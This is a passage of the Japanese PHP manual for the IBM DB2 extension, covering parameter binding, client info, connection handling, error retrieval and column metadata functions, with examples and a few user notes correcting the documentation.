db2_prepare() が返したステートメントリソース内の SQL 文のパラメータに PHP 変数をバインドします。 db2_execute() へのオプション配列の一部として 変数を渡すのに比べ、この関数を使用すると パラメータの型、データの型、精度、位取りなどの詳細を制御できるようになります。

パラメータ

stmt

db2_prepare() が返すプリペアドステートメント。

parameter_number

プリペアドステートメントのパラメータの位置。 1 から始まります。

variable_name

parameter_number で指定したパラメータに バインドする PHP 変数の名前を表す文字列。

parameter_type

PHP 変数を SQL パラメータにバインドする際に 入力パラメータとするのか (DB2_PARAM_IN) 出力パラメータとするのか (DB2_PARAM_OUT) あるいは入出力両方を許可するのか (DB2_PARAM_INOUT) を指定する定数。 メモリのオーバーヘッドを避けるため、DB2_PARAM_FILE を指定して PHP 変数をファイルにバインドし、 ファイルからラージオブジェクト (BLOB、CLOB あるいは DBCLOB) データを読み込むようにするすることも可能です。

data_type

PHP 変数をどの SQL データ型にバインドするのかを指定する定数。 DB2_BINARY、 DB2_CHAR、DB2_DOUBLE あるいは DB2_LONG のうちのいずれか。

precision

変数をデータベースにバインドする際の精度を指定します。 このパラメータは、ストアドプロシージャから XML 出力の値を取得する際にも使用します。 非負の値を指定すると、それがデータベースから取得する XML データの最大サイズとなります。 このパラメータを使用しない場合は、 ストアドプロシージャから XML 出力を取得する際の最大サイズを デフォルトの 1MB とみなします。

scale

変数をデータベースにバインドする際の位取りを指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 PHP 変数をプリペアドステートメントにバインドする

以下の例の SQL 文では、WHERE 句の中で 2 つの入力パラメータを使用しています。 この 2 つのパラメータに PHP 変数をバインドするために db2_bind_param() をコールします。 db2_bind_param() をコールする前に PHP 変数を宣言したり代入したりする必要がないことに注意しましょう。 この例では、$lower_limit については db2_bind_param() がコールされる前に 値が代入されていますが、$upper_limit については db2_bind_param() をコールした後で代入されています。 db2_execute() をコールする前には、 必ず変数をバインドしなければなりません。また、入力パラメータについては 何らかの値を代入しておく必要があります。

<?php

$sql = 'SELECT name, breed, weight FROM animals
    WHERE weight > ? AND weight < ?';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

// db2_bind_param() のコール前に変数を宣言できます
$lower_limit = 1;

db2_bind_param($stmt, 1, "lower_limit", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "upper_limit", DB2_PARAM_IN);

// また、db2_bind_param() をコールした後で変数を宣言することも可能です
$upper_limit = 15.0;

if (db2_execute($stmt)) {
    while ($row = db2_fetch_array($stmt)) {
        print "{$row[0]}, {$row[1]}, {$row[2]}\n";
    }
}
?>

上の例の出力は以下となります。

Pook, cat, 3.2
Rickety Ride, goat, 9.7
Peaches, dog, 12.3

例2 IN および OUT パラメータを使用したストアドプロシージャのコール

以下の例のストアドプロシージャ match_animal は、 3 つのさまざまなパラメータを受け取ります。

  1. 最初の動物の名前を入力として受け取る 入力 (IN) パラメータ。

  2. 2 番目の動物の名前を入力として受け取り、その名前に一致する動物が データベースに存在する場合に文字列 TRUE を返す、入出力 (INOUT) パラメータ。

  3. 指定した 2 匹の動物の合計体重を返す、出力 (OUT) パラメータ。

さらにこのストアドプロシージャは結果セットを返します。その内容は、 最初のパラメータで指定した動物から 2 番目のパラメータで指定した動物までの 動物の一覧をアルファベット順に並べたものとなります。

<?php

$sql = 'CALL match_animal(?, ?, ?)';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

$name = "Peaches";
$second_name = "Rickety Ride";
$weight = 0;

db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "second_name", DB2_PARAM_INOUT);
db2_bind_param($stmt, 3, "weight", DB2_PARAM_OUT);

print "コール前のバインド変数の値:\n";
print "  1: {$name} 2: {$second_name} 3: {$weight}\n\n";

if (db2_execute($stmt)) {
    print "コール後のバインド変数の値:\n";
    print "  1: {$name} 2: {$second_name} 3: {$weight}\n\n";

    print "結果:\n";
    while ($row = db2_fetch_array($stmt)) {
        print "  {$row[0]}, {$row[1]}, {$row[2]}\n";
    }
}
?>

上の例の出力は以下となります。

コール前のバインド変数の値:
  1: Peaches 2: Rickety Ride 3: 0

コール後のバインド変数の値:
  1: Peaches 2: TRUE 3: 22

結果:
  Peaches, dog, 12.3
  Pook, cat, 3.2
  Rickety Ride, goat, 9.7

例3 バイナリラージオブジェクト (BLOB) をファイルから直接挿入する

ラージオブジェクトのデータは、通常は XML ドキュメントあるいは 音声ファイルのようなファイルに保存されています。 いったんファイルの内容を PHP 変数に読み込んだうえで SQL 文にバインドする代わりに、ファイルを直接 sql 文の入力パラメータに バインドすることでメモリのオーバーヘッドを避けることができます。 以下の例で、BLOB カラムにファイルを直接バインドする方法を説明します。

<?php
$stmt = db2_prepare($conn, "INSERT INTO animal_pictures(picture) VALUES (?)");

$picture = "/opt/albums/spook/grooming.jpg";
$rc = db2_bind_param($stmt, 1, "picture", DB2_PARAM_FILE);
$rc = db2_execute($stmt);
?>

参考

  • db2_execute() - プリペアドステートメントを実行する
  • db2_prepare() - 実行する SQL 文を準備する

User Contributed Notes

There are no user contributed notes for this page.


DB2 データベースクライアントの情報をプロパティに保持するオブジェクトを返す

  • ≪ db2_bind_param
  • db2_close ≫
  • PHP Manual
  • IBM DB2 関数
  • DB2 データベースクライアントの情報をプロパティに保持するオブジェクトを返す

db2_client_info

(PECL ibm_db2 >= 1.1.1)

db2_client_info — DB2 データベースクライアントの情報をプロパティに保持するオブジェクトを返す

説明

db2_client_info ( resource $connection ) : object

この関数は、DB2 データベースクライアントについての情報を 読み取り専用のプロパティに保持するオブジェクトを返します。 以下の表は、DB2 クライアントプロパティの一覧です。

DB2 クライアントプロパティ
プロパティ名 | 返り値の型 | 説明
APPL_CODEPAGE | int | アプリケーションのコードページ。
CONN_CODEPAGE | int | 現在の接続のコードページ。
DATA_SOURCE_NAME | string | 現在のデータベース接続に使用されているデータソース名 (DSN)。
DRIVER_NAME | string | DB2 コールレベルインターフェイス (CLI) の仕様を実装した ライブラリの名前。
DRIVER_ODBC_VER | string | DB2 クライアントがサポートしている ODBC のバージョン。 "MM.mm" という形式の文字列で、MM がメジャーバージョン、mm がマイナーバージョンを表します。DB2 クライアントは、 常に "03.51" を返します。
DRIVER_VER | string | クライアントのバージョン。"MM.mm.uuuu" という形式の文字列で、 MM がメジャーバージョン、 mm がマイナーバージョン、 そして uuuu がアップデートを表します。 例えば "08.02.0001" は メジャーバージョン 8、マイナーバージョン 2、アップデート 1 を表します。
ODBC_SQL_CONFORMANCE string クライアントがサポートする ODBC SQL 構文レベル。
MINIMUM

最小限の ODBC SQL 構文をサポートします。

CORE

コア ODBC SQL をサポートします。

EXTENDED

拡張 ODBC SQL 構文をサポートします。

ODBC_VER | string | ODBC ドライバマネージャがサポートする ODBC のバージョン。 "MM.mm.rrrr" という形式の文字列で、 MM がメジャーバージョン、 mm がマイナーバージョン、 そして rrrr がリリースを表します。 DB2 クライアントは、常に "03.01.0000" を返します。

パラメータ

connection

アクティブな DB2 クライアント接続を指定します。

返り値

成功した場合にオブジェクト、失敗した場合に false を返します。

例

例1 db2_client_info() の例

クライアントの情報を取得するには、有効なデータベース接続リソースを db2_client_info() に渡す必要があります。

<?php
$conn = db2_connect( 'SAMPLE', 'db2inst1', 'ibmdb2' );
$client = db2_client_info( $conn );

if ($client) {
    echo "DRIVER_NAME: ";           var_dump( $client->DRIVER_NAME );
    echo "DRIVER_VER: ";            var_dump( $client->DRIVER_VER );
    echo "DATA_SOURCE_NAME: ";      var_dump( $client->DATA_SOURCE_NAME );
    echo "DRIVER_ODBC_VER: ";       var_dump( $client->DRIVER_ODBC_VER );
    echo "ODBC_VER: ";              var_dump( $client->ODBC_VER );
    echo "ODBC_SQL_CONFORMANCE: ";  var_dump( $client->ODBC_SQL_CONFORMANCE );
    echo "APPL_CODEPAGE: ";         var_dump( $client->APPL_CODEPAGE );
    echo "CONN_CODEPAGE: ";         var_dump( $client->CONN_CODEPAGE );
}
else {
    echo "クライアント情報の取得エラー。
     おそらくデータベース接続が無効です。";
}
db2_close($conn);

?>

上の例の出力は以下となります。

DRIVER_NAME: string(8) "libdb2.a"
DRIVER_VER: string(10) "08.02.0001"
DATA_SOURCE_NAME: string(6) "SAMPLE"
DRIVER_ODBC_VER: string(5) "03.51"
ODBC_VER: string(10) "03.01.0000"
ODBC_SQL_CONFORMANCE: string(8) "EXTENDED"
APPL_CODEPAGE: int(819)
CONN_CODEPAGE: int(819)

参考

  • db2_server_info() - DB2 データベースサーバーの情報をプロパティに保持するオブジェクトを返す

User Contributed Notes

There are no user contributed notes for this page.


データベース接続を閉じる

  • ≪ db2_client_info
  • db2_column_privileges ≫
  • PHP Manual
  • IBM DB2 関数
  • データベース接続を閉じる

db2_close

(PECL ibm_db2 >= 1.0.0)

db2_close — データベース接続を閉じる

説明

db2_close ( resource $connection ) : bool

この関数は、db2_connect() で作成した DB2 クライアント接続を閉じ、データベースサーバーへのリソースを返します。

db2_pconnect() で作成した持続的 DB2 クライアント接続を閉じようとするとその要求は無視され、 次にコールされるときまで持続的 DB2 クライアント接続はそのまま残ります。

パラメータ

connection

アクティブな DB2 クライアント接続を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 接続を閉じる

以下では IBM DB2、Cloudscape あるいは Apache Derby データベースとの接続が正常に閉じられた場合の例を示します。

<?php
$conn = db2_connect('SAMPLE', 'db2inst1', 'ibmdb2');
$rc = db2_close($conn);
if ($rc) {
    echo "接続が正しく閉じられました。";
}
?>

上の例の出力は以下となります。

接続が正しく閉じられました。

参考

  • db2_connect() - データベースへの接続を返す
  • db2_pclose() - 持続的データベース接続を閉じる
  • db2_pconnect() - データベースへの持続的接続を返す

User Contributed Notes

There are no user contributed notes for this page.


テーブルのカラムおよび関連する権限情報を含む結果セットを返す

  • ≪ db2_close
  • db2_columns ≫
  • PHP Manual
  • IBM DB2 関数
  • テーブルのカラムおよび関連する権限情報を含む結果セットを返す

db2_column_privileges

(PECL ibm_db2 >= 1.0.0)

db2_column_privileges — テーブルのカラムおよび関連する権限情報を含む結果セットを返す

説明

db2_column_privileges ( resource $connection , string $qualifier = ? , string $schema = ? , string $table-name = ? , string $column-name = ? ) : resource

テーブルのカラムおよび関連する権限情報を含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

テーブルを含むスキーマ。すべてのスキーマに一致させるには、 null あるいは空の文字列を渡します。

table-name

テーブルあるいはビューの名前。データベース内のすべてのテーブルに一致させるには、 null あるいは空の文字列を渡します。

column-name

カラムの名前。テーブル内のすべてのカラムに一致させるには、 null あるいは空の文字列を渡します。

返り値

指定したパラメータに一致するカラムの権限情報を含むステートメントリソースを返します。 行の内容は、以下のカラムで構成されています。

カラム名 | 説明
TABLE_CAT | カタログの名前。テーブルがカタログを保持していない場合は NULL。
TABLE_SCHEM | スキーマの名前。
TABLE_NAME | テーブルあるいはビューの名前。
COLUMN_NAME | カラムの名前。
GRANTOR | その権限を与えたユーザーの認証 ID。
GRANTEE | その権限を与えられたユーザーの認証 ID。
PRIVILEGE | カラムの権限。
IS_GRANTABLE | GRANTEE が、この権限を他のユーザーに与えることができるかどうか。

参考

  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


テーブルのカラムおよび関連するメタデータを含む結果セットを返す

  • ≪ db2_column_privileges
  • db2_commit ≫
  • PHP Manual
  • IBM DB2 関数
  • テーブルのカラムおよび関連するメタデータを含む結果セットを返す

db2_columns

(PECL ibm_db2 >= 1.0.0)

db2_columns — テーブルのカラムおよび関連するメタデータを含む結果セットを返す

説明

db2_columns ( resource $connection , string $qualifier = ? , string $schema = ? , string $table-name = ? , string $column-name = ? ) : resource

テーブルのカラムおよび関連するメタデータを含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

テーブルを含むスキーマ。すべてのスキーマに一致させるには、 '%' を渡します。

table-name

テーブルあるいはビューの名前。データベース内のすべてのテーブルに一致させるには、 null あるいは空の文字列を渡します。

column-name

カラムの名前。テーブル内のすべてのカラムに一致させるには、 null あるいは空の文字列を渡します。

返り値

指定したパラメータに一致するカラムの情報を含む結果セットの ステートメントリソースを返します。 行の内容は、以下のカラムで構成されています。

カラム名 | 説明
TABLE_CAT | カタログの名前。テーブルがカタログを保持していない場合は NULL。
TABLE_SCHEM | スキーマの名前。
TABLE_NAME | テーブルあるいはビューの名前。
COLUMN_NAME | カラムの名前。
DATA_TYPE | カラムの SQL データ型を整数値で表したもの。
TYPE_NAME | カラムのデータ型を文字列で表したもの。
COLUMN_SIZE | カラムのサイズを表す整数値。
BUFFER_LENGTH | このカラムのデータを保存するために必要な最大のバイト数。
DECIMAL_DIGITS | カラムの位取り。位取りが適用できない場合は null。
NUM_PREC_RADIX | 10 (正確な数値データ型を表す)、 2 (概数データ型を表す)、 あるいは null (基数が適用できないデータ型を表す) のいずれか。
NULLABLE | カラムが null 値をとることができるかどうかを表す整数値。
REMARKS | カラムの説明。
COLUMN_DEF | カラムのデフォルト値。
SQL_DATA_TYPE | カラムのサイズを表す整数値。
SQL_DATETIME_SUB | datetime 型のコードを表す整数値、 あるいはこれが適用できない SQL データ型である場合に null。
CHAR_OCTET_LENGTH | 文字型のカラムにおける最大のオクテット数。 シングルバイト文字セットのデータの場合、これは COLUMN_SIZE に一致します。文字型でないカラムの場合は null となります。
ORDINAL_POSITION | テーブル内でのカラムの位置を表す、1 から始まるインデックス。
IS_NULLABLE | カラムが null 値をとることができるかどうかを表す文字列。 'YES' の場合は null 値をとることができ、 'NO' の場合はできません。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

Anonymous 25-Sep-2014 10:22
As with previous message, passing null as the last param with db2_columns results in nothing being returned. Passing '%' instead works. The documentation really needs to be updated to correct this error as it's very misleading and was reported as wrong 8 years ago!
david dot rekowski at gmx dot de 06-Aug-2008 07:21
must be
db2_columns($conn, '', '%', $table, '%');

Don't forget that table names are UPPERCASE. That gave me quite some headache.
lada(at)hoidekr.net 04-Sep-2006 11:48
This is not true!
column-name
    The name of the column. To match all columns in the table, pass NULL or an empty string.

You should pass '%' to match all columns


トランザクションをコミットする

  • ≪ db2_columns
  • db2_conn_error ≫
  • PHP Manual
  • IBM DB2 関数
  • トランザクションをコミットする

db2_commit

(PECL ibm_db2 >= 1.0.0)

db2_commit — トランザクションをコミットする

説明

db2_commit ( resource $connection ) : bool

指定した接続リソース上で実行中のトランザクションをコミットし、 新しいトランザクションを開始します。PHP アプリケーションのデフォルトは AUTOCOMMIT モードなので、接続リソースに対して AUTOCOMMIT を無効にしていない限り db2_commit() は必要ありません。

パラメータ

connection

db2_connect() あるいは db2_pconnect() が返した有効なデータベース接続リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • db2_autocommit() - データベース接続の AUTOCOMMIT の状態を取得または設定する
  • db2_rollback() - トランザクションをロールバックする

User Contributed Notes

There are no user contributed notes for this page.


直近の接続から返された SQLSTATE を含む文字列を返す

  • ≪ db2_commit
  • db2_conn_errormsg ≫
  • PHP Manual
  • IBM DB2 関数
  • 直近の接続から返された SQLSTATE を含む文字列を返す

db2_conn_error

(PECL ibm_db2 >= 1.0.0)

db2_conn_error — 直近の接続から返された SQLSTATE を含む文字列を返す

説明

db2_conn_error ( resource $connection = ? ) : string

db2_conn_error() は、データベースへの直近の接続が 失敗した原因を表す SQLSTATE を返します。接続が失敗した場合には、 db2_connect() は false を返します。 この場合、SQLSTATE の値を取得するために db2_conn_error() に何もパラメータを渡す必要はありません。

しかし、接続は成功したもののその後に無効になった場合は、 パラメータ connection を指定することで 特定の接続についての SQLSTATE を取得することができます。

SQLSTATE の値の意味を調べるには、DB2 コマンドラインプロセッサのプロンプトで 次のコマンドを発行します。 db2 '? sqlstate-value' また、db2_conn_errormsg() をコールして、 明示的なエラーメッセージと、それに関連する SQLCODE の値を取得することも可能です。

パラメータ

connection

当初は成功したものの、その後に無効になった接続に 関連付けられた接続リソース。

返り値

失敗した接続試行の結果を表す SQLSTATE を返します。 直近の接続試行に関連するエラーがない場合には空の文字列を返します。

例

例1 失敗した接続試行からの SQLSTATE の取得

以下の例では、db2_connect() に わざと無効なパラメータを渡し、SQLSTATE を取得しています。

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
    print "SQLSTATE の値: " . db2_conn_error();
}
?>

上の例の出力は以下となります。

SQLSTATE の値: 08001

参考

  • db2_conn_errormsg() - 直近の接続エラーメッセージおよび SQLCODE を返す
  • db2_connect() - データベースへの接続を返す
  • db2_stmt_error() - SQL 文が返す SQLSTATE を含む文字列を返す
  • db2_stmt_errormsg() - 直近の SQL 文のエラーメッセージを含む文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


直近の接続エラーメッセージおよび SQLCODE を返す

  • ≪ db2_conn_error
  • db2_connect ≫
  • PHP Manual
  • IBM DB2 関数
  • 直近の接続エラーメッセージおよび SQLCODE を返す

db2_conn_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_conn_errormsg — 直近の接続エラーメッセージおよび SQLCODE を返す

説明

db2_conn_errormsg ( resource $connection = ? ) : string

db2_conn_errormsg() は、データベースへの直近の接続が 失敗した原因を表す SQLCODE およびエラーメッセージを返します。 接続が失敗した場合には、db2_connect() は false を返します。 この場合、エラーメッセージおよび SQLSTATE の値を取得するために db2_conn_errormsg() に何もパラメータを渡す必要はありません。

しかし、接続は成功したもののその後に無効になった場合は、 パラメータ connection を指定することで 特定の接続についてのエラーメッセージおよび SQLSTATE を取得することができます。

パラメータ

connection

当初は成功したものの、その後に無効になった接続に 関連付けられた接続リソース。

返り値

失敗した接続試行の結果を表すエラーメッセージおよび SQLSTATE を返します。 直近の接続試行に関連するエラーがない場合には、 db2_conn_errormsg() はn空の文字列を返します。

例

例1 失敗した接続試行からのエラーメッセージの取得

以下の例では、db2_connect() に わざと無効なパラメータを渡し、エラーメッセージおよび SQLSTATE を取得しています。

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
    print db2_conn_errormsg();
}
?>

上の例の出力は以下となります。

[IBM][CLI Driver] SQL1013N  The database alias name
or database name "BADNAME" could not be found.  SQLSTATE=42705
 SQLCODE=-1013

参考

  • db2_conn_error() - 直近の接続から返された SQLSTATE を含む文字列を返す
  • db2_connect() - データベースへの接続を返す
  • db2_stmt_error() - SQL 文が返す SQLSTATE を含む文字列を返す
  • db2_stmt_errormsg() - 直近の SQL 文のエラーメッセージを含む文字列を返す

User Contributed Notes

nnd100216ibmdb2 at smallcue dot com 16-Feb-2010 07:25
A word of warning:

It appears that if you specify an invalid ibm_db2.instance_name  in your php.ini file, your cataloged db2_connect() will fail with a returned value of false and when you use db2_conn_error() or db2_conn_errormsg() to check on the reason, those functions will return an empty string.


データベースへの接続を返す

  • ≪ db2_conn_errormsg
  • db2_cursor_type ≫
  • PHP Manual
  • IBM DB2 関数
  • データベースへの接続を返す

db2_connect

(PECL ibm_db2 >= 1.0.0)

db2_connect — データベースへの接続を返す

説明

db2_connect ( string $database , string $username , string $password , array $options = ? ) : resource

IBM DB2 Universal Database、IBM Cloudscape あるいは Apache Derby データベースへの新しい接続を作成します。

パラメータ

database

データベースへのカタログ接続の場合には、database は DB2 クライアントカタログ内でのデータベースエイリアスを表します。

データベースへの非カタログ接続の場合には、 database は以下のような形式の接続文字列を表します。

DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password;
それぞれのパラメータは以下の内容を表します。
database

データベースの名前。

hostname

データベースサーバーのホスト名あるいは IP アドレス。

port

データベースが要求を待ち受ける TCP/IP ポート。

username

データベースに接続するユーザー名。

password

データベースに接続するパスワード。

username

データベースに接続するユーザー名。

カタログでない接続の場合は、null あるいは空の文字列を渡す必要があります。

password

データベースに接続するパスワード。

カタログでない接続の場合は、null あるいは空の文字列を渡す必要があります。

options

接続の振る舞いを指定する接続オプションの連想配列。 使用可能なキーは以下のとおりです。

autocommit

DB2_AUTOCOMMIT_ON を渡すと、 この接続ハンドルで自動コミットを有効にします。

DB2_AUTOCOMMIT_OFF を渡すと、 この接続ハンドルで自動コミットを無効にします。

DB2_ATTR_CASE

DB2_CASE_NATURAL を渡すと、 カラム名の大文字小文字を変換せずに返します。

DB2_CASE_LOWER を渡すと、 カラム名を小文字に変換して返します。

DB2_CASE_UPPER を渡すと、 カラム名を大文字に変換して返します。

CURSOR

DB2_FORWARD_ONLY を渡すと、 ステートメントリソースで前進のみのカーソルを使用します。 これはデフォルトのカーソル型であり、 すべてのデータベースサーバーでサポートされています。

DB2_SCROLLABLE を渡すと、 ステートメントリソースでスクロール可能なカーソルを使用します。 このモードでは結果セット内の行へのランダムアクセスが可能となりますが、 現在は IBM DB2 Universal Database でしかサポートされていません。

以下の新しいオプションは、ibm_db2 のバージョン 1.7.0 以降で使用可能です。

trustedcontext

DB2_TRUSTED_CONTEXT_ENABLE を渡すと、この接続ハンドルでの信頼済みコンテキストを有効にします。 このパラメータを db2_set_option() で設定することはできません。

このキーは、カタログ接続の場合 (たとえローカルデータベースであっても) あるいは接続時に完全な DSN を指定した場合にのみ動作します。

データベースをカタログするには次のコマンドを実行します。

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

以下の新しい i5/OS オプションは、ibm_db2 のバージョン 1.5.1 以降で使用可能です。

i5_lib

未解決のファイル参照を解決する際に使用するデフォルトのライブラリを指定します。 システムのネーミングモードを使用している接続の場合は、これは無効です。

i5_naming

DB2_I5_NAMING_ON は、DB2 UDB CLI iSeries のシステムネーミングモードを有効にします。ファイルの識別の際、 区切り文字としてスラッシュ (/) を使用します。 識別されないファイルの解決には、ジョブのライブラリ一覧を使用します。

DB2_I5_NAMING_OFF は、DB2 UDB CLI のデフォルトのネーミングモード (SQL ネーミング) を無効にします。 ファイルの識別の際、区切り文字としてピリオド (.) を使用します。 識別されないファイルの解決には、 デフォルトのライブラリあるいは現在のユーザー ID を使用します。

i5_commit

i5_commit 属性は、 db2_connect() の前に設定しなければなりません。 接続が確立された後にこの値が変更され、その接続がリモートデータソースに対するものだった場合は、 その接続ハンドルに対してもう一度 db2_connect() がコールされるまで変更は反映されません。

注意:

php.ini の設定は ibm_db2.i5_allow_commit==0 あるいは DB2_I5_TXN_NO_COMMIT がデフォルトです。 しかし、その設定よりも i5_commit オプションの内容のほうが優先されます。

DB2_I5_TXN_NO_COMMIT - コミットの管理を使用しません。

DB2_I5_TXN_READ_UNCOMMITTED - ダーティリード、 反復不能読み取り、ファントムリードが発生する可能性があります。

DB2_I5_TXN_READ_COMMITTED - ダーティリードは発生しません。 反復不能読み取り、ファントムリードが発生する可能性があります。

DB2_I5_TXN_REPEATABLE_READ - ダーティリード、 反復不能読み取りは発生しません。 ファントムリードが発生する可能性があります。

DB2_I5_TXN_SERIALIZABLE - トランザクションの一貫性を保持します。 ダーティリード、反復不能読み取り、ファントムリードは発生しません。

i5_query_optimize

DB2_FIRST_IO すべてのクエリは、結果の一行目をできるだけ早く返すように最適化されます。 これが有効なのは、出力の制御をユーザーが行う場合です。出力の制御とは、 たとえば、出力の最初のページを見てそこで処理を停止させるなどのことです。 OPTIMIZE FOR nnn ROWS 句を指定したクエリは、その指定が優先されます。

DB2_ALL_IO すべてのクエリは、結果全体をできるだけ短時間で取得できるように最適化されます。 これは、結果をファイルや帳票に書き出す場合に有用なオプションです。 あるいは出力データを順次処理するインターフェイスなどにも有用です。 OPTIMIZE FOR nnn ROWS 句を指定したクエリは、その指定が優先されます。 これはデフォルトの設定です。

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON は、 DBCS トランザクションカラムサイズ用の DB2 6X アロケーションを有効にします。

DB2_I5_DBCS_ALLOC_OFF は、 DBCS トランザクションカラムサイズ用の DB2 6X アロケーションを無効にします。

注意: php.ini では ibm_db2.i5_dbcs_alloc==0 あるいは DB2_I5_DBCS_ALLOC_OFF がデフォルト設定となっています。 しかし、i5_dbcs_alloc の値のほうが優先されます。

i5_date_fmt

DB2_I5_FMT_ISO - 国際標準化機構 (ISO) の日付書式 yyyy-mm-dd を使用します。デフォルトです。

DB2_I5_FMT_USA - 合衆国の日付書式 mm/dd/yyyy を使用します。

DB2_I5_FMT_EUR - 欧州の日付書式 dd.mm.yyyy を使用します。

DB2_I5_FMT_JIS - 日本工業規格 (JIS) の日付書式 yyyy-mm-dd を使用します。

DB2_I5_FMT_MDY - 日付書式 mm/dd/yyyy を使用します。

DB2_I5_FMT_DMY - 日付書式 dd/mm/yyyy を使用します。

DB2_I5_FMT_YMD - 日付書式 yy/mm/dd を使用します。

DB2_I5_FMT_JUL - ユリウス日 yy/ddd を使用します。

DB2_I5_FMT_JOB - そのジョブのデフォルトを使用します。

i5_date_sep

DB2_I5_SEP_SLASH - スラッシュ ( / ) を日付の区切り文字として使用します。 デフォルトです。

DB2_I5_SEP_DASH - ダッシュ ( - ) を日付の区切り文字として使用します。

DB2_I5_SEP_PERIOD - ピリオド ( . ) を日付の区切り文字として使用します。

DB2_I5_SEP_COMMA - カンマ ( , ) を日付の区切り文字として使用します。

DB2_I5_SEP_BLANK - ブランクを日付の区切り文字として使用します。

DB2_I5_SEP_JOB - そのジョブのデフォルトを使用します。

i5_time_fmt

DB2_I5_FMT_ISO - 国際標準化機構 (ISO) の時刻書式 hh.mm.ss を使用します。デフォルトです。

DB2_I5_FMT_USA - 合衆国の時刻書式 hh:mmxx を使用します。xx には AM あるいは PM が入ります。

DB2_I5_FMT_EUR - 欧州の時刻書式 hh.mm.ss を使用します。

DB2_I5_FMT_JIS - 日本工業規格 (JIS) の時刻書式 hh:mm:ss を使用します。

DB2_I5_FMT_HMS - hh:mm:ss を使用します。

i5_time_sep

DB2_I5_SEP_COLON - コロン ( : ) を時刻の区切り文字として使用します。 デフォルトです。

DB2_I5_SEP_PERIOD - ピリオド ( . ) を時刻の区切り文字として使用します。

DB2_I5_SEP_COMMA - カンマ ( , ) を時刻の区切り文字として使用します。

DB2_I5_SEP_BLANK - ブランクを時刻の区切り文字として使用します。

DB2_I5_SEP_JOB - そのジョブのデフォルトを使用します。

i5_decimal_sep

DB2_I5_SEP_PERIOD - ピリオド ( . ) を小数点として使用します。 デフォルトです。

DB2_I5_SEP_COMMA - カンマ ( , ) を小数点として使用します。

DB2_I5_SEP_JOB - そのジョブのデフォルトを使用します。

以下の新しい i5/OS オプションは、ibm_db2 のバージョン 1.8.0 以降で使用可能です。

i5_libl

ファイル参照を解決する際に用いるライブラリ一覧を表す文字。 ライブラリ一覧の項目を指定する際は、空白で区切って 'i5_libl'=>"MYLIB YOURLIB ANYLIB" のようにします。

注意:

i5_libl は qsys2/qcmdexc('cmd',cmdlen) をコールします。 これは i5/OS V5R4 以降でのみ使用可能です。

返り値

接続に成功した場合は接続ハンドルリソースを返します。 接続に失敗した場合は、db2_connect() は false を返します。

例

例1 カタログ接続の作成

カタログ接続を行うには、DB2 コマンドラインプロセッサ (CLP) あるいは DB2 Configuration Assistant を使用して 事前に対象データベースをカタログしておく必要があります。

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$conn = db2_connect($database, $user, $password);

if ($conn) {
    echo "接続に成功しました。";
    db2_close($conn);
}
else {
    echo "接続に失敗しました。";
}
?>

上の例の出力は以下となります。

接続に成功しました。

例2 非カタログ接続の作成

非カタログ接続の場合は、データベースに動的に接続することができます。

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$hostname = 'localhost';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

if ($conn) {
    echo "接続に成功しました。";
    db2_close($conn);
}
else {
    echo "接続に失敗しました。";
}
?>

上の例の出力は以下となります。

接続に成功しました。

例3 自動コミットをデフォルトで無効にした接続の作成

